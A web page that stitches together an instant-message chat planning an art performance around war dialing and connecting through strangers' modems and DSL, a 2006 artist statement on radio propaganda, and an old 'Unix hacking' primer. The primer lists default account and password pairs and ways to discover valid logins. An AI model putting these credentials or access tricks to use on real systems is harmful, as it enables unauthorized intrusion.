puyan_bedayat (6:47:45 PM): yeah, i just need some information ,
puyan_bedayat (6:47:56 PM): and it would be ok !
sonicscapes (6:48:15 PM): cool.. i will send it to you in advace.. just tell em what you need etc..
puyan_bedayat (6:48:34 PM): i’ll E-mail you detailed
sonicscapes (6:48:37 PM): fantastic…
puyan_bedayat (6:48:37 PM): lol?
sonicscapes (6:48:44 PM): great, please..
sonicscapes (6:48:54 PM): im here all month working on details..
sonicscapes (6:49:02 PM): now, amin performance War dialing à On “User PC”
sonicscapes (6:49:12 PM): what is it?
puyan_bedayat (6:49:31 PM): have you ever used dialup modems?
sonicscapes (6:49:45 PM): yeah, of course..
sonicscapes (6:50:10 PM): and u hacked to university thru modem;)
sonicscapes (6:50:15 PM): yeap..
sonicscapes (6:50:24 PM): i asked musuem for the dial up modem..
puyan_bedayat (6:50:39 PM): yeap , did i told ya about it ?
puyan_bedayat (6:50:44 PM): tell*
sonicscapes (6:50:45 PM): josef did..
sonicscapes (6:50:57 PM): so how does this work?
puyan_bedayat (6:50:58 PM): oh , yeah , josef ,
sonicscapes (6:51:02 PM): yeap..
puyan_bedayat (6:51:16 PM): he was there when i did it
sonicscapes (6:51:21 PM): really, nice..
puyan_bedayat (6:51:37 PM): they were running crazy ,
sonicscapes (6:51:42 PM): wowwwwww
puyan_bedayat (6:52:20 PM): i booted their IT coffee net from my PC,
puyan_bedayat (6:52:38 PM): with a 56 Kb modem
sonicscapes (6:53:09 PM): ah see…
sonicscapes (6:53:16 PM): nice..
sonicscapes (6:53:28 PM): how does it work?
puyan_bedayat (6:53:56 PM): how do ya like if connect to internet from your modem ?
puyan_bedayat (6:54:01 PM): i call your modem
sonicscapes (6:54:07 PM): okay..
puyan_bedayat (6:54:15 PM): and ur modem connects me to internet
sonicscapes (6:54:20 PM): wow.. you connect thru my modem, nice
puyan_bedayat (6:54:30 PM): yeah ,
sonicscapes (6:54:34 PM): so let’s say.. we will ahve modem in musuem okay..
puyan_bedayat (6:54:40 PM): this is war dialing
sonicscapes (6:54:46 PM): and we have our server conenct to it..
sonicscapes (6:55:01 PM): ah see.. nice… you take over the owner;)
sonicscapes (6:55:13 PM): is it visual..
puyan_bedayat (6:55:17 PM): we find vulnerable modems here or there ,
sonicscapes (6:55:24 PM): oh i think people can observer..
sonicscapes (6:55:29 PM): okay..
puyan_bedayat (6:55:40 PM): i doubt we could visualize it
sonicscapes (6:55:51 PM): but it is intersting..
puyan_bedayat (6:55:55 PM): but they can listen to the sound of modem
sonicscapes (6:56:03 PM): the modem will be bussy..
puyan_bedayat (6:56:17 PM): yeap ,
sonicscapes (6:56:23 PM): we will try detect your location, if anyone knows what they do there..
sonicscapes (6:56:30 PM): ;)
puyan_bedayat (6:56:31 PM): with some strange sounds
sonicscapes (6:56:36 PM): cool…
sonicscapes (6:56:47 PM): liek crashing plane or soemthing
puyan_bedayat (6:57:24 PM): not exactly like that , like pushing numbers on ur phone set , one after the other
sonicscapes (6:57:38 PM): ah see, yeap like connecting thru modem..
sonicscapes (6:57:43 PM): i used to ahve aol..
sonicscapes (6:57:49 PM): some peopel still using it..
puyan_bedayat (6:57:50 PM): some
puyan_bedayat (6:57:52 PM): yeah
sonicscapes (6:57:58 PM): maybe we can pick randomly
sonicscapes (6:58:06 PM): cool.. let see netx..
puyan_bedayat (6:58:13 PM): nowadys , it is mostly SDL
sonicscapes (6:58:20 PM): oh boy, im veyr ecited about htis show it looks very good ;)
puyan_bedayat (6:58:21 PM): yeah
sonicscapes (6:58:27 PM): you are major star;)
sonicscapes (6:58:36 PM): yeap, so what do you think..
sonicscapes (6:58:45 PM): can we do the same trick on dsl?
puyan_bedayat (6:58:59 PM): a major star in a dope show ,
puyan_bedayat (6:59:01 PM): maybe
sonicscapes (6:59:11 PM): ;0
puyan_bedayat (6:59:21 PM): much easier
sonicscapes (6:59:28 PM): cool, you are like these medivial artists, i love this concept..
sonicscapes (6:59:36 PM): on dsl..
sonicscapes (6:59:39 PM): so let’s do it
puyan_bedayat (6:59:39 PM): cuz it is much faster
sonicscapes (6:59:43 PM): cool…
sonicscapes (6:59:58 PM): so let’s connect to someone else dsl
sonicscapes (7:00:02 PM): cooooooool
sonicscapes (7:00:10 PM): so let me explain yopu…
puyan_bedayat (7:00:13 PM): lol,
puyan_bedayat (7:00:17 PM): go on
sonicscapes (7:00:18 PM): i think creative hacker is like
sonicscapes (7:01:00 PM): medieval artists
sonicscapes (7:01:06 PM): in 14th century
sonicscapes (7:01:26 PM): most of the artists who painted these beautiful frescos
sonicscapes (7:01:43 PM): in the churches or tenples or places or worship..
sonicscapes (7:01:51 PM): never signed their names
puyan_bedayat (7:02:02 PM): lol
sonicscapes (7:02:03 PM): as a respect
sonicscapes (7:02:07 PM): yeah…
puyan_bedayat (7:02:12 PM): what a nice point
sonicscapes (7:02:18 PM): yeap…
sonicscapes (7:02:25 PM): it was liek phylosophy of
sonicscapes (7:02:32 PM): we are humble people,
sonicscapes (7:02:38 PM): i do not need glory…
sonicscapes (7:02:48 PM): admire the creation in itself;)
sonicscapes (7:02:57 PM): i see somthing similar here..
puyan_bedayat (7:03:03 PM): yeah , we don’t need glory ,
sonicscapes (7:03:30 PM): yeah, that’s corretc..
sonicscapes (7:03:36 PM): nice..
puyan_bedayat (7:03:44 PM): but we could feel gratitude for every single moment of our stupid lives , even without glory
sonicscapes (7:04:02 PM): yes, that’s true..
sonicscapes (7:04:25 PM): it is simple soemtiems when you think, we complicate our life a lot..
sonicscapes (7:04:36 PM): let’s see enxt: Unix Daemons tricks à On UNIX servers (Solaris DNS, Linux or BSD servers)
sonicscapes (7:04:54 PM): we will have, let me see
puyan_bedayat (7:04:58 PM): these are my love
sonicscapes (7:05:09 PM): nice, tell me more..
puyan_bedayat (7:05:22 PM): i do all i do with these lovely tiny daemons
sonicscapes (7:05:38 PM): how can we execute it..
sonicscapes (7:05:53 PM): how does it works? what is daemons
puyan_bedayat (7:06:11 PM): i connect , share , send , run , compile or whatever ya could imagine with these daemons
sonicscapes (7:06:53 PM): really, could you send thru it some of your great 3d images???
puyan_bedayat (7:06:55 PM): they are so flexible
sonicscapes (7:06:58 PM): nice
puyan_bedayat (7:07:21 PM): my 3D images are not great , but yeah i could
sonicscapes (7:07:42 PM): like you know soemthing realted to the theme
sonicscapes (7:07:49 PM): and maybe few to scare the public;)
sonicscapes (7:08:02 PM): i like them a lot…
sonicscapes (7:08:23 PM): soem visual of gothem and underwold
sonicscapes (7:08:50 PM): you are evry good in graphic art..
sonicscapes (7:08:59 PM): wecould create some visuals
puyan_bedayat (7:09:04 PM): i love graphics
sonicscapes (7:09:17 PM): and execute them thru this part of performance..
sonicscapes (7:09:20 PM): yeah..
puyan_bedayat (7:09:23 PM): it is a long time i’m doin it
sonicscapes (7:09:23 PM): me too…
sonicscapes (7:09:39 PM): really, nice… it is form of art nowdyas..
sonicscapes (7:09:46 PM): artists replacing tools..
puyan_bedayat (7:09:50 PM): i said ya , my mom an artist
sonicscapes (7:10:02 PM): oh yes, you told m…
puyan_bedayat (7:10:14 PM): is an artist*
sonicscapes (7:10:14 PM): i would love to see ehr works one day..
sonicscapes (7:10:21 PM): her*
puyan_bedayat (7:10:32 PM): soon , will be available online ,
sonicscapes (7:10:40 PM): nice, great:)
puyan_bedayat (7:10:43 PM): we have to take digital pics
sonicscapes (7:10:48 PM): yes…
puyan_bedayat (7:11:01 PM): my mom is a conceptualism
sonicscapes (7:11:09 PM): yes.. i like that process…
sonicscapes (7:11:16 PM): from visual to conceptual..
puyan_bedayat (7:11:33 PM): and i used to play with her painting tools , since i was a little kid
sonicscapes (7:11:40 PM): oh, wait.. i think i run itno this name..
sonicscapes (7:12:11 PM): she is iranin…

Hacking Apart The American Airwaves During A Period of Corporate Fascism & Declining Empire.

March 10th, 2006

Damian Catera (2006)

Damian Catera

The advent of radio in the US during the early part of the 20th century ushered in a new period of mass brainwashing never before seen in history. Suddenly, literacy was a non-factor in the dissemination of information and propaganda blended potently with entertainment. An entire population was mobilized for war with an enemy (Nazi Germany), which was an ally only a few years earlier, while the mass imprisonment of innocent Japanese-Americans was systematically legitimized with the help of this powerful new medium.

In the early 21st century, American radio is still a powerful mass brainwashing tool. The rise in right- wing talk radio mobilizes a new generation to accept the corporate fascist agenda of militarized world domination while the smattering of “left” oriented programming creates an illusion of pluralism and democracy.

In this improvised performance, three live radios will be sampled and randomly manipulated with algorithms, which I wrote in the MAX/MSP programming environment. In the resulting real-time montage, the dialectical tools of order and chaos will be used to unearth the not so hidden subtext of an empire in decline…perhaps its last gasps for control. The voice of America’s fear and paranoia turned back on itself through the decentralized medium of web radio.

+ UNIX : Hacking Art + + By: White HaCker +

March 10th, 2006

WHiteHacker+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

———————-
Unix HaCking Art …
———————-” Without Unix , hacking Wouldn’t exist “

———————-
This file is geared as an introduction to the art of unix hacking, at first, to let you get more
familiar with the operating system. UNIX is just an operating system, as
is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
multi-tasking system, thus bringing a need for security not found on MSDOS,
AppleDOS, etc. This file will hopefully let you know, how to use UNIX as a good start,
for ur research on Art of hacking .
This file deals with UNIX SYSTEM V and
its variants. When I talk about unix, its usually about any unix OS family ,
from fedora (Linux) , ( Sun OS) solaris and other AT&T series to Free , Net or open BSD ,
IRIX and so on …

This file may have some bad spelling, etc, or discrepencies since it was written
in a short time , because of college , math researchs and …
etc. Please, no flames.

Here are some friends that got to help me alot (and ex ones) !
The Dark Pawn
The Data Wizard
Sir Hackalot
Taxi (ummm.. Busted)
Lancia (Busted)
The British Knight (Busted)
The Living Pharoah (Busted)
Phoenix Angel (Puyan bedayat)

————————
A little History, etc:
————————

UNIX, of course, was invented By AT&T in the 60’s somewhere, to be
” a programmer’s operating system.” While that goal was probably not reached
when they first invented UNIX, it seems that now, UNIX is a programmer’s OS.
UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
written in C, or at least large parts of it are, thus making it a portable
operating system. We know that MSDOS corresponds to IBM/clone machines,
right? Well, this is not the case with UNIX. We do not associate it with
any one computer since it has been adapted for many, and there are many
UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
of UNIX. Remember, no matter what the name of the operating system is [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
commands the operating system uses. Some variants may have features others
do not, but they are basically similar in that they have a lot of the same
commands/datafiles. When someone tries to tell you that UNIX goes along with
a certain type of computer, they may be right, but remember, some computers
have more than one Operating system. For instance, one person may tell you
that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
only reason I stated that, was because I have seen many messages with info
/comparisons in it like that, which confuse users when they see a VAX running
VMS.
____________________________________________________________________________
——————————-
Identifying a Unix/Logging in
——————————-

From now on, I will be referring to all the UNIX variants/etc as
UNIX, so when I say something about UNIX, it generally means all the variants
(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
I state a variant in particular.

Okay. Now its time for me to tell you how a unix USUALLY greets you.
First, when you call up a UNIX, or connect to one however you do, you will
usually get this prompt:

login:

Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
although there are BBS’s that can mimic the login procedure of an OS
(Operating System), thus making some people believe its a Unix. [Hah!].
Some Unixes will tell you what they are or give you a message before a
login: prompt, as such:

Welcome to SHUnix. Please log in.

login:

Or something like that. Public access Unixes [like Public BBSs] will
tell you how to logon if you are a new users. Unfortunatly, this phile is
not about public access Unixes, but I will talk about them briefly later, as
a UUCP/UseNet/Bitnet address for mail.
OK. You’ve gotten to the login prompt! Now, what you need to do
here is enter in a valid account. An Account usually consists of 8 characters
or less. After you enter in an account, you will probably get a password
prompt of some sort. The prompts may vary, as the source code to the login
program is usually supplied with UNIX, or is readily available for free.
Well, The easiest thing I can say to do to login is basically this:
Get an account, or try the defaults. The defaults are ones that came with
the operating system, in standard form. The list of some of the Defaults
are as follows:

ACCOUNT PASSWORD
——- ——–
root root - Rarely open to hackers
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
user user
games games
install install
reboot * See Below
demo demo
umountfsys umountfsys
sync sync
admin admin
guest guest
daemon daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are
root level accounts, meaning they have sysop power, or total power. Other
logins are just “user level” logins meaning they only have power over what
files/processes they own. I’ll get into that later, in the file permissions
section. The REBOOT login is what as known as a command login, which just
simply doesn’t let you into the operating system, but executes a program
assigned to it. It usually does just what it says, reboot the system. It
may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
not been passworded [reboot], which is real stupid, if you ask me.

COMMAND LOGINS:
—————

There are “command logins”, which, like reboot, execute a command then log
you off instead of letting you use the command interpreter. BSD is notorious
for having these, and concequently, so does MIT’s computers. Here are some:

rwho - show who is online
finger - same
who - same

These are the most useful, since they will give the account names that are
online, thus showing you several accounts that actually exist.
Errors:
——-

When you get an invalid Account name / invalid password, or both, you will
get some kind of error. Usually it is the “login incorrect” message. When
the computer tells you that, you have done something wrong by either enterring
an invalid account name, or a valid account name, but invalid password. It
does not tell you which mistake you made, for obvious reasons. Also,
when you login incorrectly, the error log on the system gets updated, letting
the sysops(s) know something is amiss.

Another error is “Cannot change to home directory” or “Cannot Change
Directory.” This means that no “home directory” which is essentially the
‘root’ directory for an account, which is the directory you start off in.
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
Most systems will log you off after this, but some tell you that they will
put you in the root directory [ ‘/’].

Another error is “No Shell”. This means that no “shell” was defined
for that particular account. The “shell” will be explained later. Some
systems will log you off after this message. Others will tell you that they
will use the regular shell, by saying “Using the bourne shell”, or “Using sh”

—————————–
Accounts In General :
—————————–

This section is to hopefully describe to you the user structure
in the UNIX environment.
Ok, think of UNIX having two levels of security: absolute power,
or just a regular user. The ones that have absolute power are those users
at the root level. Ok, now is the time to think in numbers. Unix associates
numbers with account names. each account will have a number. Some will have
the same number. That number is the UID [user-id] of the account. the root
user id is 0. Any account that has a user id of 0 will have root access.
Unix does not deal with account names (logins) but rather the number
associated with them. for instance, If my user-id is 50, and someone else’s
is 50, with both have absolute power of each other, but no-one else.
_____________________________________________________________________________

—————
Shells :
—————

A shell is an executable program which loads and runs when a user
logs on, and is in the foreground. This “shell” can be any executable prog-
ram, and it is defined in the “passwd” file which is the userfile. Each
login can have a unique “shell”. Ok. Now the shell that we usually will work
with is a command interpreter. A command interpreter is simply something
like MSDOS’s COMMAND.COM, which processes commands, and sends them to the
kernel [operating system]. A shell can be anything, as I said before,
but the one you want to have is a command interpreter. Here are the
usual shells you will find:

sh - This is the bourne shell. It is your basic Unix “COMMAND.COM”. It has
a “script” language, as do most of the command interpreters on Unix sys-
tems.

csh - This is the “C” shell, which will allow you to enter “C” like commands.
ksh - this is the korn shell. Just another command interpreter.
tcsh - this is one, which is used at MIT I believe. Allows command editing.
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell. Both Explained later.
There are many others, including “homemade ” shells, which are
programs written by the owner of a unix, or for a specific unix, and they
are not standard. Remember, the shell is just the program you get to use
and when it is done executing, you get logged off. A good example of a
homemade shell is on Eskimo North, a public access Unix. The shell
is called “Esh”, and it is just something like a one-key-press BBS,
but hey, its still a shell. The Number to eskimo north is 206-387-3637.
[206-For-Ever]. If you call there, send Glitch Lots of mail.
Several companies use Word Processors, databases, and other things
as a user shell, to prevent abuse, and make life easier for unskilled computer
operators. Several Medical Hospitals use this kind of shell in Georgia,
and fortunatly, these second rate programs leave major holes in Unix.
Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
$
when you are a root user the prompt is usually a:
#
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is “HI:”, your prompt will be:
HI:

_____________________________________________________________________________

————————
SPecial Characters, ETc:
————————

Control-D : End of file. When using mail or a text editor, this will end
the message or text file. If you are in the shell and hit control-d you get
logged off.

Control-J: On some systems, this is like the enter key.
@ : Is sometimes a “null”
? : This is a wildcard. This can represent a letter. If you specified
something at the command line like “b?b” Unix would look for bob,bib,bub,
and every other letter/number between a-z, 0-9.
* : this can represent any number of characters. If you specified a “hi*”
it would use “hit”, him, hiiii, hiya, and ANYTHING that starts with
hi. “H*l” could by hill, hull, hl, and anything that starts with an
H and ends with an L.

[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
[], ?, and * are usually used with copy, deleting files, and directory
listings.

EVERYTHING in Unix is CASE sensitive. This means “Hill” and “hill” are not
the same thing. This allows for many files to be able to be stored, since
” Hill” “hill” “hIll” “hiLl”, etc. can be different files. So, when using
the [] stuff, you have to specify capital letters if any files you are dealing
with has capital letters. Most everything is lower case though.

—————-
Commands to use:
—————-

Now, I will rundown some of the useful commands of Unix. I will act
as if I were typing in the actual command from a prompt.

ls - this is to get a directory. With no arguments, it will just print out
file names in either one column or multi-column output, depending on the
ls program you have access to.

example:
$ ls
hithere
runme
note.text
src
$
the -l switch will give you extended info on the files.
$ ls -l
rwx–x–x sirhack sirh 10990 runme
and so on….

the “rwx–x–x” is the file permission. [Explained Later]
the “sirhack sirh” is the owner of the file/group the file is in.
sirhack = owner, sirh = user-group the file is in [explained later]
the 10990 is the size of the file in bytes.
” runme” is the file name.
The format varies, but you should have the general idea.

cat - this types out a file onto the screen. should be used on text files.
only use it with binary files to make a user mad [explained later]
ex:
$ cat note.txt
This is a sample text file!
$

cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
the dir1/etc…. describes the directory name. Say I want to get
to the root directory.
ex:
$ cd /
*ok, I’m there.*
$ ls
bin
sys
etc
temp
work
usr
all of the above are directories, lets say.
$ cd /usr
$ ls
sirhack
datawiz
prophet
src
violence
par
phiber
scythian
$ cd /usr/sirhack
$ ls
hithere
runme
note.text
src
$
ok, now, you do not have to enter the full dir name. if you are in
a directory, and want to get into one that is right there [say “src”], you
can type “cd src” [no “/”]. Instead of typing “cd /usr/sirhack/src” from the
sirhack dir, you can type “cd src”

cp - this copies a file. syntax for it is “cp fromfile tofile”
$ cp runme runme2
$ ls
hithere
runme
note.text
src
runme2
Full pathnames can be included, as to copy it to another directory.
$ cp runme /usr/datwiz/runme

mv - this renames a file. syntax “mv oldname newname”
$ mv runme2 runit
$ ls
hithere
runme
note.text
src
runit
files can be renamed into other directories.
$ mv runit /usr/datwiz/run
$ ls
hithere
runme
note.text
src
$ ls /usr/datwiz
runme
run

pwd - gives current directory
$ pwd
/usr/sirhack
$ cd src
$ pwd
/usr/sirhack/src
$ cd ..
$ pwd
/usr/sirhack
[ the “..” means use the name one directory back. ]
$ cd ../datwiz
[translates to cd /usr/datwiz]
$ pwd
/usr/datwiz
$ cd $home
[goto home dir]
$ pwd
/usr/sirhack

rm - delete a file. syntax “rm filename” or “rm -r directory name”
$ rm note.text
$ ls
hithere
runme
src
$

write - chat with another user. Well, “write” to another user.
syntax: “write username”
$ write scythian
scythian has been notified
Hey Scy! What up??
Message from scythian on tty001 at 17:32
hey!
me: So, hows life?
scy: ok, I guess.
me: gotta go finish this text file.
scy: ok
me: control-D [to exit program]
$

who [w,who,whodo] - print who is online
$ who
login term logontime
scythian + tty001 17:20
phiberO + tty002 15:50
sirhack + tty003 17:21
datawiz - tty004 11:20
glitch - tty666 66:60
$
the “who” commands may vary in the information given. a “+” means
you can “write” to their terminal, a “-” means you cannot.

man - show a manual page entry. syntax “man command name” This is a help
program. If you wanted to know how to use… “who” you’d type
$ man who
WHO(1) xxx……
and it would tell you.

stty - set your terminal characteristics. You WILL have to do “man stty”
since each stty is different, it seems like.
an example would be:
$ stty -parenb
to make the data params N,8,1. A lot of Unixes operate at
e,7,1 by default.

sz,rz - send and recieve via zmodem
rx,sx - send / recieve via xmodem
rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
umodem - send/recieve via umodem.
$ sz filename
ready to send…
$ rz filename
please send your file….
…etc..

ed - text editor. Usage “ed filename” to create a file that doesn’t
exist, just enter in “ed filename”
some versions of ed will give you a prompt, such as “*” others will not
$ ed newtext
0
* a
This is line 1
This is line 2
[control-z]
* 1 [to see line one]
This is line 1
* a [keep adding]
This is line 3
[control-z]
*0a [add after line 0]
This is THE first line
[control-z]
1,4l
This is THE first line
This is line 1
This is line 2
This is line 3
* w
71
* q
$
The 71 is number of bytes written.
a = append
l = list
# = print line number
w - write
l fname = load fname
s fname = save to fname
w = write to current file
q = quit
mesg - turn write permissions on or off to your terminal (allow chat)
format “mesg y” or “mesg n”
cc - the C compiler. don’t worry about this one right now.
chmod - change mode of a file. Change the access in other words.
syntax: “chmod mode filename”
$ chmod a+r newtext
Now everyone can read newtext.
a = all
r = read. This will be explained further in the File System section.

chown - change the owner of a file.
syntax: “chown owner filename”
$ chown scythian newtext
$
chgrp - change the group [explained later] of a file.
syntax: “chgrp group file”
$ chgrp root runme
$
finger - print out basic info on an account. Format: finger username
grep - search for patterns in a file. syntax: “grep pattern file”
$ grep 1 newtext
This is Line 1
$ grep THE newtext
This is THE first line
$ grep “THE line 1″ newtext
$

mail - This is a very useful utility. Obviously, you already know what it
is by its name. There are several MAIL utilities, such as ELM, MUSH
and MSH, but the basic “mail” program is called “mail”. The usage
is:
“mail username@address” or
“mail username”
or
“mail”
or “mail addr1!addr2!addr3!user”

“mail username@address” - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail. When you use “mail user@address” the
system you are on MUST have a “smart mailer” [known as smail], and must
have what we call system maps. The smart mailer will find the “adress” part
of the command and expand it into the full pathname usually. I could look
like this: mail phiber@optik
then look like this to the computer:

mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you’ll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber. I’d do this if there were no smart mailer:

$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Hey Guy. Whats up? Well, gotta go. Nice long message huh?
[control-D]
$
Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the “from” line
would look like so:

>From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack

Now, for local mailing, just type in “mail username” where username
is the login you want to send mail to. Then type in your message. Then
end it with a control-D.

To read YOUR mail, just type in mail. IE:

$ mail

From scythian …………
To sirhack …………
Subject: Well….

Arghhh!

?
The dots represent omitted crap. Each Mail program makes its own headings.
That ? is a prompt. At this prompt I can type:

d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don’t change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.

There are others, to see them, you’d usually hit ‘?’.

——–

If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter. A “postman” has to pick it up.
The system might call out, and use UUCP to transfer mail. Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.

ps - process. This command allows you to see what you are actually doing
in memory. Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root. usually, the first thing in a process
list given by “ps” is your shell name. Say I was logged in under sirhack,
using the shell “csh” and running “watch scythian”. The watch program would
go into the background, meaning I’d still be able to do things while it was
running:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the “tty” [i/o device] that the process is being
run from. This is only useful really if you are using layers (don’t worry)
or more than one person is logged in with the same account name. Now,
“ps -f” would give a full process listing on yourself, so instead of
seeing just plain ole “watch” you’d most likely see “watch scythian”

kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else’s shell process, they
are logged off. So, if I said “kill 122″ I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax “kill pid” then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try “kill -num pid”
Kill -9 pid is a definite kill almost instantly. So if I did this:
$ kill 122
$ kill 123
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER

Also, you can do “kill -1 0″ to kill your shell process to log yourself off.
This is useful in scripts (explained later).

——————-
Shell Programmin’
——————-

Shell Programming is basically making a “script” file for the
standard shell, being sh, ksh, csh, or something on those lines. Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.
First, lets get into variables. Variables obviously can be assigned
values. These values can be string values, or numberic values.

number=1

That would assign 1 to the variable named “number”.

string=Hi There
or
string=”Hi There”

Both would assign “Hi there” to a variable.

Using a variable is different though. When you wish to use a variable
you must procede it with a dollar ($) sign. These variables can
be used as arguments in programs. When I said that scripts are
like batch files, I meant it. You can enter in any name of a program
in a script file, and it will execute it. Here is a sample script.

counter=1
arg1=”-uf”
arg2=”scythian”

ps $arg1 $arg2

echo $counter

That script would translate to “ps -uf scythian” then would print
“1″ after that was finished. ECHO prints something on the screen
whether it be numeric, or a string constant.

Other Commands / Examples:

read - reads someting into a variable. format : read variable . No dollar
sign is needed here! If I wwanted to get someone’s name, I could
put:

echo “What is your name?”
read hisname
echo Hello $hisname

What is your name?
Sir Hackalot
Hello Sir Hackalot

Remember, read can read numeric values also.

trap - This can watch for someone to use the interrupt character. (Ctrl-c)
format: trap “command ; command ; command ; etc..”
Example:
trap “echo ‘Noway!! You are not getting rid o me that easy’ ; echo
‘You gotta see this through!’”

Now, if I hit control-c during the script after this statement was
executed, I’d get:
Noway!! You are not getting rid of me that easy
You gotta see this through!

exit : format :exit [num] This exists the shell [quits] with return
code of num.

—–
CASE
—–

Case execution is like a menu choice deal. The format of the command
or structure is :
case variable in
1) command;
command;;
2) command;
command;
command;;
*) command;;
esac
Each part can have any number of commands. The last command however
must have a “;;”. Take this menu:

echo “Please Choose:”
echo “(D)irectory (L)ogoff (S)hell”
read choice
case $choice in

D) echo “Doing Directory…”;
ls -al ;;
L) echo Bye;
kill -1 0;;
S) exit;;
*) Echo “Error! Not a command”;;
esac

The esac marks the end of a case function. It must be after the
LAST command.

Loops
—–

Ok, loops. There are two loop functins. the for loops, and the
repeat.

repeat looks like this: repeat something somethin1 somethin2
this would repeat a section of your script for each “something”.
say i did this:
repeat scythian sirhack prophet

I may see “scythian” then sirhack then prophet on my screen.

The for loop is defined as “for variable in something
do
..
..
done”

an example:
for counter in 1 2 3
do
echo $counter
done

That would print out 1 then 2 then 3.

Using TEST
———-
The format: Test variable option variable

The optios are:
-eq =
-ne <> (not equal)
-gt >
-lt <
-ge >=
-le <=

for strings its: = for equal != for not equal.

If the condition is true, a zero is returned. Watch:

test 3 -eq 3

that would be test 3 = 3, and 0 would be returned.

EXPR
—-

This is for numeric functions. You cannot simply type in
echo 4 + 5
and get an answer most of the time. you must say:
expr variable [or number] operator variable2 [or number]
the operators are:

+ add
- subtract
* multiply
/ divide
^ - power (on some systems)

example : expr 4 + 5
var = expr 4 + 5
var would hold 9.

On some systems, expr sometimes prints out a formula. I mean,
22+12 is not the same as 22 + 12. If you said expr 22+12 you
would see:
22+12
If you did expr 22 + 12 you’d see:
34
SYSTEM VARIABLES
—————-

These are variables used by the shell, and are usually set in the
system wide .profile [explained later].

HOME - location of your home directory.
PS1 - The prompt you are given. usually $ . On BSD its usually &
PATH - This is the search path for programs. When you type in a program
to be run, it is not in memory; it must be loaded off disk. Most commands
are not in Memory like MSDOS. If a program is on the search path, it may
be executed no matter where you are. If not, you must be in the directory
where the program is. A path is a set of directories basically, seperated by
” :”’s. Here is a typical search path:

:/bin:/etc:/usr/lbin:$HOME:

When you tried to execute a program, Unix would look for it in /bin,
/etc, /usr/lbin, and your home directory, and if its not found, an error is
spewed out. It searches directories in ORDER of the path. SO if you had a
program named “sh” in your home directory, and typed in “sh”, EVEN if
you were in your home dir, it would execute the one in /bin. So, you
must set your paths wisely. Public access Unixes do this for you, but systems
you may encounter may have no path set.

TERM - This is your terminal type. UNIX has a library of functions called
” CURSES” which can take advantage of any terminal, provided the escape
codes are found. You must have your term set to something if you run
screen oriented programs. The escape codes/names of terms are found
in a file called TERMCAP. Don’t worry about that. just set your term
to ansi or vt100. CURSES will let you know if it cannot manipulate your
terminal emulation.
——————-
The C compiler
——————-

This Will be BRIEF. Why? Becuase if you want to learn C, go
buy a book. I don’t have time to write another text file on
C, for it would be huge. Basically, most executables are programmed
in C. Source code files on unix are found as filename.c .
To compile one, type in “cc filename.c”. Not all C programs
will compile, since they may depend on other files not there, or
are just modules. If you see a think called “makefile” you can
usually type in just “make” at the command prompt, and something
will be compiled, or be attempted to compile. When using make or
CC, it would be wise to use the background operand since
compiling sometimes takes for ever.
IE:
$ cc login.c&
[1234]
$
(The 1234 was the process # it got identified as).
_____________________________________________________________________________

—————
The FILE SYSTEM
—————

This is an instrumental part of UNIX. If you do not understand this
section, you’ll never get the hang of hacking Unix, since a lot of Pranks
you can play, and things you can do to “raise your access” depend on it.

First, Let’s start out by talking about the directory structure. It is
basically a Hiearchy file system, meaning, it starts out at a root directory
and expands, just as MSDOS, and possibly AmigaDos.

Here is a Directory Tree of sorts: (d) means directory

/ (root dir)
|
|——————–|
